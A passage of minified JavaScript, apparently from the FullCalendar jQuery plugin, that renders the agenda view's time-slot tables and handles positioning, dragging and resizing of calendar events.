fc-agenda-axis'>"+Ue("allDayText")+"</th>"+"<td>"+"<div class='fc-day-content'><div style='position:relative'/></div>"+"</td>"+"<th class='"+s+" fc-agenda-gutter'>&nbsp;</th>"+"</tr>"+"</table>",de=t(e).appendTo(ce),ve=de.find("tr"),C(ve.find("td")),ce.append("<div class='fc-agenda-divider "+s+"'>"+"<div class='fc-agenda-divider-inner'/>"+"</div>")):ue=t([]),he=t("<div style='position:absolute;width:100%;overflow-x:hidden;overflow-y:auto'/>").appendTo(ce),ge=t("<div style='position:relative;width:100%;overflow:hidden'/>").appendTo(he),be=t("<div class='fc-event-container' style='position:absolute;z-index:8;top:0;left:0'/>").appendTo(ge),e="<table class='fc-agenda-slots' style='width:100%' cellspacing='0'><tbody>",r=v(),o=u(d(r),je),u(r,Be),Ae=0,a=0;o>r;a++)i=r.getMinutes(),e+="<tr class='fc-slot"+a+" "+(i?"fc-minor":"")+"'>"+"<th class='fc-agenda-axis "+s+"'>"+(f&&i?"&nbsp;":on(r,Ue("axisFormat")))+"</th>"+"<td class='"+l+"'>"+"<div style='position:relative'>&nbsp;</div>"+"</td>"+"</tr>",u(r,Ue("slotMinutes")),Ae++;e+="</tbody></table>",Ce=t(e).appendTo(ge),M(Ce.find("td"))}function c(){var e=h();K&&K.remove(),K=t(e).appendTo(n),ee=K.find("thead"),ne=ee.find("th").slice(1,-1),re=K.find("tbody"),ae=re.find("td").slice(0,-1),oe=ae.find("> div"),ie=ae.find(".fc-day-content > div"),se=ae.eq(0),le=oe.eq(0),B(ee.add(ee.find("tr"))),B(re.add(re.find("tr")))}function h(){var t="<table style='width:100%' class='fc-agenda-days fc-border-separate' cellspacing='0'>"+g()+p()+"</table>";return t}function g(){var t,e,n,r=qe+"-widget-header",a="";for(a+="<thead><tr>",Xe?(t=nn(0,0),e=on(t,Ve),Ye?e+=Je:e=Je+e,a+="<th class='fc-agenda-axis fc-week-number "+r+"'>"+q(e)+"</th>"):a+="<th class='fc-agenda-axis "+r+"'>&nbsp;</th>",n=0;We>n;n++)t=nn(0,n),a+="<th class='fc-"+ke[t.getDay()]+" fc-col"+n+" "+r+"'>"+q(on(t,Ie))+"</th>";return a+="<th class='fc-agenda-gutter "+r+"'>&nbsp;</th>"+"</tr>"+"</thead>"}function p(){var t,e,n,r,a,o=qe+"-widget-header",i=qe+"-widget-content",s=f(new Date),l="";for(l+="<tbody><tr><th class='fc-agenda-axis "+o+"'>&nbsp;</th>",n="",e=0;We>e;e++)t=nn(0,e),a=["fc-col"+e,"fc-"+ke[t.getDay()],i],+t==+s?a.push(qe+"-state-highlight","fc-today"):s>t?a.push("fc-past"):a.push("fc-future"),r="<td class='"+a.join(" ")+"'>"+"<div>"+"<div class='fc-day-content'>"+"<div style='position:relative'>&nbsp;</div>"+"</div>"+"</div>"+"</td>",n+=r;return l+=n,l+="<td class='fc-agenda-gutter "+i+"'>&nbsp;</td>"+"</tr>"+"</tbody>"}function m(t){t===e&&(t=Se),Se=t,sn={};var n=re.position().top,r=he.position().top,a=Math.min(t-n,Ce.height()+r+1);le.height(a-R(se)),ce.css("top",n),he.height(a-r-1),Fe=Ce.find("tr:first").height()+1,Ne=Ue("slotMinutes")/Re,ze=Fe/Ne}function w(e){Ee=e,_e.clear(),Pe.clear();var n=ee.find("th:first");de&&(n=n.add(de.find("th:first"))),n=n.add(Ce.find("th:first")),Te=0,S(n.width("").each(function(e,n){Te=Math.max(Te,t(n).outerWidth())}),Te);var r=K.find(".fc-agenda-gutter");de&&(r=r.add(de.find("th.fc-agenda-gutter")));var a=he[0].clientWidth;He=he.width()-a,He?(S(r,He),r.show().prev().removeClass("fc-last")):r.hide().prev().addClass("fc-last"),xe=Math.floor((a-Te)/We),S(ne.slice(0,-1),xe)}function b(){function t(){he.scrollTop(r)}var e=v(),n=d(e);n.setHours(Ue("firstHour"));var r=_(e,n)+1;t(),setTimeout(t,0)}function D(){b()}function C(t){t.click(E).mousedown(tn)}function M(t){t.click(E).mousedown(U)}function E(t){if(!Ue("selectable")){var e=Math.min(We-1,Math.floor((t.pageX-K.offset().left-Te)/xe)),n=nn(0,e),r=this.parentNode.className.match(/fc-slot(\d+)/);if(r){var a=parseInt(r[1])*Ue("slotMinutes"),o=Math.floor(a/60);n.setHours(o),n.setMinutes(a%60+Be),Ze("dayClick",ae[e],n,!1,t)}else Ze("dayClick",ae[e],n,!0,t)}}function x(t,e,n){n&&Oe.build();for(var r=an(t,e),a=0;r.length>a;a++){var o=r[a];C(k(o.row,o.leftCol,o.row,o.rightCol))}}function k(t,e,n,r){var a=Oe.rect(t,e,n,r,ce);return Ge(a,ce)}function H(t,e){for(var n=0;We>n;n++){var r=nn(0,n),a=l(d(r),1),o=new Date(Math.max(r,t)),i=new Date(Math.min(a,e));if(i>o){var s=Oe.rect(0,n,0,n,ge),c=_(r,o),u=_(r,i);s.top=c,s.height=u-c,M(Ge(s,ge))}}}function F(t){return _e.left(t)}function N(t){return Pe.left(t)}function z(t){return _e.right(t)}function W(t){return Pe.right(t)}function A(t){return Ue("allDaySlot")&&!t.row}function L(t){var e=nn(0,t.col),n=t.row;return Ue("allDaySlot")&&n--,n>=0&&u(e,Be+n*Re),e}function _(t,n){if(t=d(t,!0),u(d(t),Be)>n)return 0;if(n>=u(d(t),je))return Ce.height();var r=Ue("slotMinutes"),a=60*n.getHours()+n.getMinutes()-Be,o=Math.floor(a/r),i=sn[o];return i===e&&(i=sn[o]=Ce.find("tr").eq(o).find("td div")[0].offsetTop),Math.max(0,Math.round(i-1+Fe*(a%r/r)))}function P(){return ve}function j(t){var e=d(t.start);return t.allDay?e:u(e,Ue("defaultEventMinutes"))}function I(t,e){return e?d(t):u(d(t),Ue("slotMinutes"))}function X(t,e,n){n?Ue("allDaySlot")&&x(t,l(d(e),1),!0):J(t,e)}function J(e,n){var r=Ue("selectHelper");if(Oe.build(),r){var a=rn(e).col;if(a>=0&&We>a){var o=Oe.rect(0,a,0,a,ge),i=_(e,e),s=_(e,n);if(s>i){if(o.top=i,o.height=s-i,o.left+=2,o.width-=5,t.isFunction(r)){var l=r(e,n);l&&(o.position="absolute",Me=t(l).css(o).appendTo(ge))}else o.isStart=!0,o.isEnd=!0,Me=t(en({title:"",start:e,end:n,className:["fc-select-helper"],editable:!1},o)),Me.css("opacity",Ue("dragOpacity"));Me&&(M(Me),ge.append(Me),S(Me,o.width,!0),T(Me,o.height,!0))}}}else H(e,n)}function V(){$e(),Me&&(Me.remove(),Me=null)}function U(e){if(1==e.which&&Ue("selectable")){Ke(e);var n;Le.start(function(t,e){if(V(),t&&t.col==e.col&&!A(t)){var r=L(e),a=L(t);n=[r,u(d(r),Re),a,u(d(a),Re)].sort(O),J(n[0],n[3])}else n=null},e),t(document).one("mouseup",function(t){Le.stop(),n&&(+n[0]==+n[1]&&Z(n[0],!1,t),Qe(n[0],n[3],!1,t))})}}function Z(t,e,n){Ze("dayClick",ae[rn(t).col],t,e,n)}function G(t,e){Le.start(function(t){if($e(),t)if(A(t))k(t.row,t.col,t.row,t.col);else{var e=L(t),n=u(d(e),Ue("defaultEventMinutes"));H(e,n)}},e)}function $(t,e,n){var r=Le.stop();$e(),r&&Ze("drop",t,L(r),A(r),e,n)}var Q=this;Q.renderAgenda=o,Q.setWidth=w,Q.setHeight=m,Q.afterRender=D,Q.defaultEventEnd=j,Q.timePosition=_,Q.getIsCellAllDay=A,Q.allDayRow=P,Q.getCoordinateGrid=function(){return Oe},Q.getHoverListener=function(){return Le},Q.colLeft=F,Q.colRight=z,Q.colContentLeft=N,Q.colContentRight=W,Q.getDaySegmentContainer=function(){return ue},Q.getSlotSegmentContainer=function(){return be},Q.getMinMinute=function(){return Be},Q.getMaxMinute=function(){return je},Q.getSlotContainer=function(){return ge},Q.getRowCnt=function(){return 1},Q.getColCnt=function(){return We},Q.getColWidth=function(){return xe},Q.getSnapHeight=function(){return ze},Q.getSnapMinutes=function(){return Re},Q.defaultSelectionEnd=I,Q.renderDayOverlay=x,Q.renderSelection=X,Q.clearSelection=V,Q.reportDayClick=Z,Q.dragStart=G,Q.dragStop=$,fe.call(Q,n,r,a),me.call(Q),pe.call(Q),te.call(Q);var K,ee,ne,re,ae,oe,ie,se,le,ce,ue,de,ve,he,ge,be,Ce,Me,Ee,Se,Te,xe,He,Fe,Re,Ne,ze,We,Ae,Oe,Le,_e,Pe,qe,Ye,Be,je,Ie,Xe,Je,Ve,Ue=Q.opt,Ze=Q.trigger,Ge=Q.renderOverlay,$e=Q.clearOverlays,Qe=Q.reportSelection,Ke=Q.unselect,tn=Q.daySelectionMousedown,en=Q.slotSegHtml,nn=Q.cellToDate,rn=Q.dateToCell,an=Q.rangeToSegments,on=r.formatDate,sn={};Y(n.addClass("fc-agenda")),Oe=new ye(function(e,n){function r(t){return Math.max(l,Math.min(c,t))}var a,o,i;ne.each(function(e,r){a=t(r),o=a.offset().left,e&&(i[1]=o),i=[o],n[e]=i}),i[1]=o+a.outerWidth(),Ue("allDaySlot")&&(a=ve,o=a.offset().top,e[0]=[o,o+a.outerHeight()]);for(var s=ge.offset().top,l=he.offset().top,c=l+he.outerHeight(),u=0;Ae*Ne>u;u++)e.push([r(s+ze*u),r(s+ze*(u+1))])}),Le=new we(Oe),_e=new De(function(t){return oe.eq(t)}),Pe=new De(function(t){return ie.eq(t)})}function te(){function n(t,e){var n,r=t.length,o=[],i=[];for(n=0;r>n;n++)t[n].allDay?o.push(t[n]):i.push(t[n]);y("allDaySlot")&&(te(o,e),k()),s(a(i),e)}function r(){H().empty(),F().empty()}function a(e){var n,r,a,s,l,c=Y(),f=W(),v=z(),h=t.map(e,i),g=[];for(r=0;c>r;r++)for(n=P(0,r),u(n,f),l=o(e,h,n,u(d(n),v-f)),l=ee(l),a=0;l.length>a;a++)s=l[a],s.col=r,g.push(s);return g}function o(t,e,n,r){var a,o,i,s,l,c,u,f,v=[],h=t.length;for(a=0;h>a;a++)o=t[a],i=o.start,s=e[a],s>n&&r>i&&(n>i?(l=d(n),u=!1):(l=i,u=!0),s>r?(c=d(r),f=!1):(c=s,f=!0),v.push({event:o,start:l,end:c,isStart:u,isEnd:f}));return v.sort(ue)}function i(t){return t.end?d(t.end):u(d(t.start),y("defaultEventMinutes"))}function s(n,r){var a,o,i,s,l,u,d,v,h,g,p,m,b,D,C,M,S=n.length,T="",k=F(),H=y("isRTL");for(a=0;S>a;a++)o=n[a],i=o.event,s=A(o.start,o.start),l=A(o.start,o.end),u=L(o.col),d=_(o.col),v=d-u,d-=.025*v,v=d-u,h=v*(o.forwardCoord-o.backwardCoord),y("slotEventOverlap")&&(h=Math.max(2*(h-10),h)),H?(p=d-o.backwardCoord*v,g=p-h):(g=u+o.backwardCoord*v,p=g+h),g=Math.max(g,u),p=Math.min(p,d),h=p-g,o.top=s,o.left=g,o.outerWidth=h,o.outerHeight=l-s,T+=c(i,o);for(k[0].innerHTML=T,m=k.children(),a=0;S>a;a++)o=n[a],i=o.event,b=t(m[a]),D=w("eventRender",i,i,b),D===!1?b.remove():(D&&D!==!0&&(b.remove(),b=t(D).css({position:"absolute",top:o.top,left:o.left}).appendTo(k)),o.element=b,i._id===r?f(i,b,o):b[0]._fci=a,V(i,b));for(E(k,n,f),a=0;S>a;a++)o=n[a],(b=o.element)&&(o.vsides=R(b,!0),o.hsides=x(b,!0),C=b.find(".fc-event-title"),C.length&&(o.contentTop=C[0].offsetTop));for(a=0;S>a;a++)o=n[a],(b=o.element)&&(b[0].style.width=Math.max(0,o.outerWidth-o.hsides)+"px",M=Math.max(0,o.outerHeight-o.vsides),b[0].style.height=M+"px",i=o.event,o.contentTop!==e&&10>M-o.contentTop&&(b.find("div.fc-event-time").text(re(i.start,y("timeFormat"))+" - "+i.title),b.find("div.fc-event-title").remove()),w("eventAfterRender",i,i,b))}function c(t,e){var n="<",r=t.url,a=j(t,y),o=["fc-event","fc-event-vert"];return b(t)&&o.push("fc-event-draggable"),e.isStart&&o.push("fc-event-start"),e.isEnd&&o.push("fc-event-end"),o=o.concat(t.className),t.source&&(o=o.concat(t.source.className||[])),n+=r?"a href='"+q(t.url)+"'":"div",n+=" class='"+o.join(" ")+"'"+" style="+"'"+"position:absolute;"+"top:"+e.top+"px;"+"left:"+e.left+"px;"+a+"'"+">"+"<div class='fc-event-inner'>"+"<div class='fc-event-time'>"+q(ae(t.start,t.end,y("timeFormat")))+"</div>"+"<div class='fc-event-title'>"+q(t.title||"")+"</div>"+"</div>"+"<div class='fc-event-bg'></div>",e.isEnd&&D(t)&&(n+="<div class='ui-resizable-handle ui-resizable-s'>=</div>"),n+="</"+(r?"a":"div")+">"}function f(t,e,n){var r=e.find("div.fc-event-time");b(t)&&g(t,e,r),n.isEnd&&D(t)&&p(t,e,r),S(t,e)}function v(t,e,n){function r(){c||(e.width(a).height("").draggable("option","grid",null),c=!0)}var a,o,i,s=n.isStart,c=!0,u=N(),f=B(),v=I(),g=X(),p=W();e.draggable({opacity:y("dragOpacity","month"),revertDuration:y("dragRevertDuration"),start:function(n,p){w("eventDragStart",e,t,n,p),Z(t,e),a=e.width(),u.start(function(n,a){if(K(),n){o=!1;var u=P(0,a.col),p=P(0,n.col);i=h(p,u),n.row?s?c&&(e.width(f-10),T(e,v*Math.round((t.end?(t.end-t.start)/Re:y("defaultEventMinutes"))/g)),e.draggable("option","grid",[f,1]),c=!1):o=!0:(Q(l(d(t.start),i),l(C(t),i)),r()),o=o||c&&!i
}else r(),o=!0;e.draggable("option","revert",o)},n,"drag")},stop:function(n,a){if(u.stop(),K(),w("eventDragStop",e,t,n,a),o)r(),e.css("filter",""),U(t,e);else{var s=0;c||(s=Math.round((e.offset().top-J().offset().top)/v)*g+p-(60*t.start.getHours()+t.start.getMinutes())),G(this,t,i,s,c,n,a)}}})}function g(t,e,n){function r(){K(),s&&(f?(n.hide(),e.draggable("option","grid",null),Q(l(d(t.start),b),l(C(t),b))):(a(D),n.css("display",""),e.draggable("option","grid",[T,x])))}function a(e){var r,a=u(d(t.start),e);t.end&&(r=u(d(t.end),e)),n.text(ae(a,r,y("timeFormat")))}var o,i,s,c,f,v,g,p,b,D,M,E=m.getCoordinateGrid(),S=Y(),T=B(),x=I(),k=X();e.draggable({scroll:!1,grid:[T,x],axis:1==S?"y":!1,opacity:y("dragOpacity"),revertDuration:y("dragRevertDuration"),start:function(n,r){w("eventDragStart",e,t,n,r),Z(t,e),E.build(),o=e.position(),i=E.cell(n.pageX,n.pageY),s=c=!0,f=v=O(i),g=p=0,b=0,D=M=0},drag:function(t,n){var a=E.cell(t.pageX,t.pageY);if(s=!!a){if(f=O(a),g=Math.round((n.position.left-o.left)/T),g!=p){var l=P(0,i.col),u=i.col+g;u=Math.max(0,u),u=Math.min(S-1,u);var d=P(0,u);b=h(d,l)}f||(D=Math.round((n.position.top-o.top)/x)*k)}(s!=c||f!=v||g!=p||D!=M)&&(r(),c=s,v=f,p=g,M=D),e.draggable("option","revert",!s)},stop:function(n,a){K(),w("eventDragStop",e,t,n,a),s&&(f||b||D)?G(this,t,b,f?0:D,f,n,a):(s=!0,f=!1,g=0,b=0,D=0,r(),e.css("filter",""),e.css(o),U(t,e))}})}function p(t,e,n){var r,a,o=I(),i=X();e.resizable({handles:{s:".ui-resizable-handle"},grid:o,start:function(n,o){r=a=0,Z(t,e),w("eventResizeStart",this,t,n,o)},resize:function(s,l){r=Math.round((Math.max(o,e.height())-l.originalSize.height)/o),r!=a&&(n.text(ae(t.start,r||t.end?u(M(t),i*r):null,y("timeFormat"))),a=r)},stop:function(n,a){w("eventResizeStop",this,t,n,a),r?$(this,t,0,i*r,n,a):U(t,e)}})}var m=this;m.renderEvents=n,m.clearEvents=r,m.slotSegHtml=c,de.call(m);var y=m.opt,w=m.trigger,b=m.isEventDraggable,D=m.isEventResizable,M=m.eventEnd,S=m.eventElementHandlers,k=m.setHeight,H=m.getDaySegmentContainer,F=m.getSlotSegmentContainer,N=m.getHoverListener,z=m.getMaxMinute,W=m.getMinMinute,A=m.timePosition,O=m.getIsCellAllDay,L=m.colContentLeft,_=m.colContentRight,P=m.cellToDate,Y=m.getColCnt,B=m.getColWidth,I=m.getSnapHeight,X=m.getSnapMinutes,J=m.getSlotContainer,V=m.reportEventElement,U=m.showEvents,Z=m.hideEvents,G=m.eventDrop,$=m.eventResize,Q=m.renderDayOverlay,K=m.clearOverlays,te=m.renderDayEvents,ne=m.calendar,re=ne.formatDate,ae=ne.formatDates;m.draggableDayEvent=v}function ee(t){var e,n=ne(t),r=n[0];if(re(n),r){for(e=0;r.length>e;e++)ae(r[e]);for(e=0;r.length>e;e++)oe(r[e],0,0)}return ie(n)}function ne(t){var e,n,r,a=[];for(e=0;t.length>e;e++){for(n=t[e],r=0;a.length>r&&se(n,a[r]).length;r++);(a[r]||(a[r]=[])).push(n)}return a}function re(t){var e,n,r,a,o;for(e=0;t.length>e;e++)for(n=t[e],r=0;n.length>r;r++)for(a=n[r],a.forwardSegs=[],o=e+1;t.length>o;o++)se(a,t[o],a.forwardSegs)}function ae(t){var n,r,a=t.forwardSegs,o=0;if(t.forwardPressure===e){for(n=0;a.length>n;n++)r=a[n],ae(r),o=Math.max(o,1+r.forwardPressure);t.forwardPressure=o}}function oe(t,n,r){var a,o=t.forwardSegs;if(t.forwardCoord===e)for(o.length?(o.sort(ce),oe(o[0],n+1,r),t.forwardCoord=o[0].backwardCoord):t.forwardCoord=1,t.backwardCoord=t.forwardCoord-(t.forwardCoord-r)/(n+1),a=0;o.length>a;a++)oe(o[a],0,t.forwardCoord)}function ie(t){var e,n,r,a=[];for(e=0;t.length>e;e++)for(n=t[e],r=0;n.length>r;r++)a.push(n[r]);return a}function se(t,e,n){n=n||[];for(var r=0;e.length>r;r++)le(t,e[r])&&n.push(e[r]);return n}function le(t,e){return t.end>e.start&&t.start<e.end}function ce(t,e){return e.forwardPressure-t.forwardPressure||(t.backwardCoord||0)-(e.backwardCoord||0)||ue(t,e)}function ue(t,e){return t.start-e.start||e.end-e.start-(t.end-t.start)||(t.event.title||"").localeCompare(e.event.title)}function fe(n,r,a){function o(e,n){var r=V[e];return t.isPlainObject(r)?P(r,n||a):r}function i(t,e){return r.trigger.apply(r,[t,e||_].concat(Array.prototype.slice.call(arguments,2),[_]))}function s(t){var e=t.source||{};return X(t.startEditable,e.startEditable,o("eventStartEditable"),t.editable,e.editable,o("editable"))&&!o("disableDragging")}function c(t){var e=t.source||{};return X(t.durationEditable,e.durationEditable,o("eventDurationEditable"),t.editable,e.editable,o("editable"))&&!o("disableResizing")}function f(t){j={};var e,n,r=t.length;for(e=0;r>e;e++)n=t[e],j[n._id]?j[n._id].push(n):j[n._id]=[n]}function v(){j={},I={},J=[]}function g(t){return t.end?d(t.end):q(t)}function p(t,e){J.push({event:t,element:e}),I[t._id]?I[t._id].push(e):I[t._id]=[e]}function m(){t.each(J,function(t,e){_.trigger("eventDestroy",e.event,e.event,e.element)})}function y(t,n){n.click(function(r){return n.hasClass("ui-draggable-dragging")||n.hasClass("ui-resizable-resizing")?e:i("eventClick",this,t,r)}).hover(function(e){i("eventMouseover",this,t,e)},function(e){i("eventMouseout",this,t,e)})}function w(t,e){D(t,e,"show")}function b(t,e){D(t,e,"hide")}function D(t,e,n){var r,a=I[t._id],o=a.length;for(r=0;o>r;r++)e&&a[r][0]==e[0]||a[r][n]()}function C(t,e,n,r,a,o,s){var l=e.allDay,c=e._id;E(j[c],n,r,a),i("eventDrop",t,e,n,r,a,function(){E(j[c],-n,-r,l),B(c)},o,s),B(c)}function M(t,e,n,r,a,o){var s=e._id;S(j[s],n,r),i("eventResize",t,e,n,r,function(){S(j[s],-n,-r),B(s)},a,o),B(s)}function E(t,n,r,a){r=r||0;for(var o,i=t.length,s=0;i>s;s++)o=t[s],a!==e&&(o.allDay=a),u(l(o.start,n,!0),r),o.end&&(o.end=u(l(o.end,n,!0),r)),Y(o,V)}function S(t,e,n){n=n||0;for(var r,a=t.length,o=0;a>o;o++)r=t[o],r.end=u(l(g(r),e,!0),n),Y(r,V)}function T(t){return"object"==typeof t&&(t=t.getDay()),G[t]}function x(){return U}function k(t,e,n){for(e=e||1;G[(t.getDay()+(n?e:0)+7)%7];)l(t,e)}function H(){var t=F.apply(null,arguments),e=R(t),n=N(e);return n}function F(t,e){var n=_.getColCnt(),r=K?-1:1,a=K?n-1:0;"object"==typeof t&&(e=t.col,t=t.row);var o=t*n+(e*r+a);return o}function R(t){var e=_.visStart.getDay();return t+=$[e],7*Math.floor(t/U)+Q[(t%U+U)%U]-e}function N(t){var e=d(_.visStart);return l(e,t),e}function z(t){var e=W(t),n=A(e),r=O(n);return r}function W(t){return h(t,_.visStart)}function A(t){var e=_.visStart.getDay();return t+=e,Math.floor(t/7)*U+$[(t%7+7)%7]-$[e]}function O(t){var e=_.getColCnt(),n=K?-1:1,r=K?e-1:0,a=Math.floor(t/e),o=(t%e+e)%e*n+r;return{row:a,col:o}}function L(t,e){for(var n=_.getRowCnt(),r=_.getColCnt(),a=[],o=W(t),i=W(e),s=A(o),l=A(i)-1,c=0;n>c;c++){var u=c*r,f=u+r-1,d=Math.max(s,u),v=Math.min(l,f);if(v>=d){var h=O(d),g=O(v),p=[h.col,g.col].sort(),m=R(d)==o,y=R(v)+1==i;a.push({row:c,leftCol:p[0],rightCol:p[1],isStart:m,isEnd:y})}}return a}var _=this;_.element=n,_.calendar=r,_.name=a,_.opt=o,_.trigger=i,_.isEventDraggable=s,_.isEventResizable=c,_.setEventData=f,_.clearEventData=v,_.eventEnd=g,_.reportEventElement=p,_.triggerEventDestroy=m,_.eventElementHandlers=y,_.showEvents=w,_.hideEvents=b,_.eventDrop=C,_.eventResize=M;var q=_.defaultEventEnd,Y=r.normalizeEvent,B=r.reportEventChange,j={},I={},J=[],V=r.options;_.isHiddenDay=T,_.skipHiddenDays=k,_.getCellsPerWeek=x,_.dateToCell=z,_.dateToDayOffset=W,_.dayOffsetToCellOffset=A,_.cellOffsetToCell=O,_.cellToDate=H,_.cellToCellOffset=F,_.cellOffsetToDayOffset=R,_.dayOffsetToDate=N,_.rangeToSegments=L;var U,Z=o("hiddenDays")||[],G=[],$=[],Q=[],K=o("isRTL");(function(){o("weekends")===!1&&Z.push(0,6);for(var e=0,n=0;7>e;e++)$[e]=n,G[e]=-1!=t.inArray(e,Z),G[e]||(Q[n]=e,n++);if(U=n,!U)throw"invalid hiddenDays"})()}function de(){function e(t,e){var n=r(t,!1,!0);he(n,function(t,e){N(t.event,e)}),w(n,e),he(n,function(t,e){k("eventAfterRender",t.event,t.event,e)})}function n(t,e,n){var a=r([t],!0,!1),o=[];return he(a,function(t,r){t.row===e&&r.css("top",n),o.push(r[0])}),o}function r(e,n,r){var o,l,c=Z(),d=n?t("<div/>"):c,v=a(e);return i(v),o=s(v),d[0].innerHTML=o,l=d.children(),n&&c.append(l),u(v,l),he(v,function(t,e){t.hsides=x(e,!0)}),he(v,function(t,e){e.width(Math.max(0,t.outerWidth-t.hsides))}),he(v,function(t,e){t.outerHeight=e.outerHeight(!0)}),f(v,r),v}function a(t){for(var e=[],n=0;t.length>n;n++){var r=o(t[n]);e.push.apply(e,r)}return e}function o(t){for(var e=t.start,n=C(t),r=ee(e,n),a=0;r.length>a;a++)r[a].event=t;return r}function i(t){for(var e=T("isRTL"),n=0;t.length>n;n++){var r=t[n],a=(e?r.isEnd:r.isStart)?V:X,o=(e?r.isStart:r.isEnd)?U:J,i=a(r.leftCol),s=o(r.rightCol);r.left=i,r.outerWidth=s-i}}function s(t){for(var e="",n=0;t.length>n;n++)e+=c(t[n]);return e}function c(t){var e="",n=T("isRTL"),r=t.event,a=r.url,o=["fc-event","fc-event-hori"];H(r)&&o.push("fc-event-draggable"),t.isStart&&o.push("fc-event-start"),t.isEnd&&o.push("fc-event-end"),o=o.concat(r.className),r.source&&(o=o.concat(r.source.className||[]));var i=j(r,T);return e+=a?"<a href='"+q(a)+"'":"<div",e+=" class='"+o.join(" ")+"'"+" style="+"'"+"position:absolute;"+"left:"+t.left+"px;"+i+"'"+">"+"<div class='fc-event-inner'>",!r.allDay&&t.isStart&&(e+="<span class='fc-event-time'>"+q(G(r.start,r.end,T("timeFormat")))+"</span>"),e+="<span class='fc-event-title'>"+q(r.title||"")+"</span>"+"</div>",t.isEnd&&F(r)&&(e+="<div class='ui-resizable-handle ui-resizable-"+(n?"w":"e")+"'>"+"&nbsp;&nbsp;&nbsp;"+"</div>"),e+="</"+(a?"a":"div")+">"}function u(e,n){for(var r=0;e.length>r;r++){var a=e[r],o=a.event,i=n.eq(r),s=k("eventRender",o,o,i);s===!1?i.remove():(s&&s!==!0&&(s=t(s).css({position:"absolute",left:a.left}),i.replaceWith(s),i=s),a.element=i)}}function f(t,e){var n=v(t),r=y(),a=[];if(e)for(var o=0;r.length>o;o++)r[o].height(n[o]);for(var o=0;r.length>o;o++)a.push(r[o].position().top);he(t,function(t,e){e.css("top",a[t.row]+t.top)})}function v(t){for(var e=P(),n=B(),r=[],a=g(t),o=0;e>o;o++){for(var i=a[o],s=[],l=0;n>l;l++)s.push(0);for(var c=0;i.length>c;c++){var u=i[c];u.top=L(s.slice(u.leftCol,u.rightCol+1));for(var l=u.leftCol;u.rightCol>=l;l++)s[l]=u.top+u.outerHeight}r.push(L(s))}return r}function g(t){var e,n,r,a=P(),o=[];for(e=0;t.length>e;e++)n=t[e],r=n.row,n.element&&(o[r]?o[r].push(n):o[r]=[n]);for(r=0;a>r;r++)o[r]=p(o[r]||[]);return o}function p(t){for(var e=[],n=m(t),r=0;n.length>r;r++)e.push.apply(e,n[r]);return e}function m(t){t.sort(ge);for(var e=[],n=0;t.length>n;n++){for(var r=t[n],a=0;e.length>a&&ve(r,e[a]);a++);e[a]?e[a].push(r):e[a]=[r]}return e}function y(){var t,e=P(),n=[];for(t=0;e>t;t++)n[t]=I(t).find("div.fc-day-content > div");return n}function w(t,e){var n=Z();he(t,function(t,n,r){var a=t.event;a._id===e?b(a,n,t):n[0]._fci=r}),E(n,t,b)}function b(t,e,n){H(t)&&S.draggableDayEvent(t,e,n),n.isEnd&&F(t)&&S.resizableDayEvent(t,e,n),z(t,e)}function D(t,e){var n,r=te();e.draggable({delay:50,opacity:T("dragOpacity"),revertDuration:T("dragRevertDuration"),start:function(a,o){k("eventDragStart",e,t,a,o),A(t,e),r.start(function(r,a,o,i){if(e.draggable("option","revert",!r||!o&&!i),Q(),r){var s=ne(a),c=ne(r);n=h(c,s),$(l(d(t.start),n),l(C(t),n))}else n=0},a,"drag")},stop:function(a,o){r.stop(),Q(),k("eventDragStop",e,t,a,o),n?O(this,t,n,0,t.allDay,a,o):(e.css("filter",""),W(t,e))}})}function M(e,r,a){var o=T("isRTL"),i=o?"w":"e",s=r.find(".ui-resizable-"+i),c=!1;Y(r),r.mousedown(function(t){t.preventDefault()}).click(function(t){c&&(t.preventDefault(),t.stopImmediatePropagation())}),s.mousedown(function(o){function s(n){k("eventResizeStop",this,e,n),t("body").css("cursor",""),u.stop(),Q(),f&&_(this,e,f,0,n),setTimeout(function(){c=!1},0)}if(1==o.which){c=!0;var u=te();P(),B();var f,d,v=r.css("top"),h=t.extend({},e),g=ie(oe(e.start));K(),t("body").css("cursor",i+"-resize").one("mouseup",s),k("eventResizeStart",this,e,o),u.start(function(r,o){if(r){var s=re(o),c=re(r);if(c=Math.max(c,g),f=ae(c)-ae(s)){h.end=l(R(e),f,!0);var u=d;d=n(h,a.row,v),d=t(d),d.find("*").css("cursor",i+"-resize"),u&&u.remove(),A(e)}else d&&(W(e),d.remove(),d=null);Q(),$(e.start,l(C(e),f))}},o)}})}var S=this;S.renderDayEvents=e,S.draggableDayEvent=D,S.resizableDayEvent=M;var T=S.opt,k=S.trigger,H=S.isEventDraggable,F=S.isEventResizable,R=S.eventEnd,N=S.reportEventElement,z=S.eventElementHandlers,W=S.showEvents,A=S.hideEvents,O=S.eventDrop,_=S.eventResize,P=S.getRowCnt,B=S.getColCnt;S.getColWidth;var I=S.allDayRow,X=S.colLeft,J=S.colRight,V=S.colContentLeft,U=S.colContentRight;S.dateToCell;var Z=S.getDaySegmentContainer,G=S.calendar.formatDates,$=S.renderDayOverlay,Q=S.clearOverlays,K=S.clearSelection,te=S.getHoverListener,ee=S.rangeToSegments,ne=S.cellToDate,re=S.cellToCellOffset,ae=S.cellOffsetToDayOffset,oe=S.dateToDayOffset,ie=S.dayOffsetToCellOffset}function ve(t,e){for(var n=0;e.length>n;n++){var r=e[n];if(r.leftCol<=t.rightCol&&r.rightCol>=t.leftCol)return!0}return!1}function he(t,e){for(var n=0;t.length>n;n++){var r=t[n],a=r.element;a&&e(r,a,n)}}function ge(t,e){return e.rightCol-e.leftCol-(t.rightCol-t.leftCol)||e.event.allDay-t.event.allDay||t.event.start-e.event.start||(t.event.title||"").localeCompare(e.event.title)}function pe(){function e(t,e,a){n(),e||(e=l(t,a)),c(t,e,a),r(t,e,a)}function n(t){f&&(f=!1,u(),s("unselect",null,t))}function r(t,e,n,r){f=!0,s("select",null,t,e,n,r)}function a(e){var a=o.cellToDate,s=o.getIsCellAllDay,l=o.getHoverListener(),f=o.reportDayClick;if(1==e.which&&i("selectable")){n(e);var d;l.start(function(t,e){u(),t&&s(t)?(d=[a(e),a(t)].sort(O),c(d[0],d[1],!0)):d=null},e),t(document).one("mouseup",function(t){l.stop(),d&&(+d[0]==+d[1]&&f(d[0],!0,t),r(d[0],d[1],!0,t))})}}var o=this;o.select=e,o.unselect=n,o.reportSelection=r,o.daySelectionMousedown=a;var i=o.opt,s=o.trigger,l=o.defaultSelectionEnd,c=o.renderSelection,u=o.clearSelection,f=!1;i("selectable")&&i("unselectAuto")&&t(document).mousedown(function(e){var 